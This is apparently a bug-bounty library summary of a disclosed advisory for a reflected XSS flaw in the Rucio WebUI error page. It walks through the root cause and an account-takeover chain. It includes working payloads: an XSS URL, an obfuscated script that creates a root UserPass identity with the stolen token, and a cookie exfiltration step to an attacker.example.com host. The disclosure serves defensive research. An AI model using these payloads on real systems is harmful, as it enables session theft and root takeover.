# Rucio WebUI has a Reflected Cross-site Scripting Vulnerability

Reflected XSS in Rucio WebUI 500 error page: attacker-controlled account name rendered unencoded via jQuery.html, letting attackers steal non-HttpOnly session tokens and create root UserPass identities.

- Payout: Research
- Severity: high
- Program: Rucio WebUI
- Found by: d-woosley
- Disclosed: 2026-02-25
- CVE: CVE-2026-25136
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h79m-5jjm-jm4q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-h79m-5jjm-jm4q
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:account-takeover vuln:xss

**Target:** WebUI error page / account_rse_usage endpoint and account attribute API
**Root cause:** Server places user-controlled input (e.g. account name) into ExceptionMessage in both headers and JSON body of 500 errors; client-side JS injects that text into the DOM with jQuery.html(...) instead of .text(), so HTML/JS executes.
**Steps:**
1. Navigate to `https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E`
2. Server returns 500 with `ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist` in header and JSON body
3. WebUI inserts ExceptionMessage via `.html(...)` in rule.js/request_rule.js/list_rules.js, executing the onerror payload
4. Payload reads document.cookie (session token lacks HttpOnly) and can exfiltrate via `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`
5. Alternate vector: POST to `/proxy/accounts/pentest/attr/XSS` with `{"key":"XSS","value":"<script>alert(document.cookie)</script>"}` triggers error rendering the raw script
**How found:** Reporter traced server error generation in common.py (error_headers, _error_response, generate_http_error_flask) which embeds user input into ExceptionMessage, then audited client JS files (rule.js, request_rule.js, list_rules.js) and found unsafe jQuery.html() DOM insertion of that message.
**Exploitation:** Attacker crafts a URL with encoded payload in the account parameter; victim (authenticated WebUI user) clicks it, the 500 error page renders the payload, JS executes in WebUI origin, steals the session token from document.cookie or the `var token` JS variable, then uses it to PUT `/identities/root/userpass` creating an attacker-known UserPass identity for root.
**Escalation:** XSS chained with missing HttpOnly and missing CSP plus API token exposed in JS variable enables full account takeover and privilege escalation to root identity creation.
**Insight:** Error-handling paths that echo user input into headers/JSON are a common XSS source; grep client code for `.html(`/`innerHTML` on error message fields, and check whether session tokens are exposed in JS variables even when HttpOnly is set.

## Proof of concept (copied exactly from the original report)

**Reflected XSS URL via account parameter**

```
https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
```

**XSS payload creating UserPass for Root**

```
<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
```

**POST account key attribute XSS request**

```
POST /proxy/accounts/pentest/attr/XSS HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://127.0.0.1:8443
X-Rucio-Script: webui::-ui-account
{"key":"XSS","value":"<script>alert(document.cookie)</script>"}
```

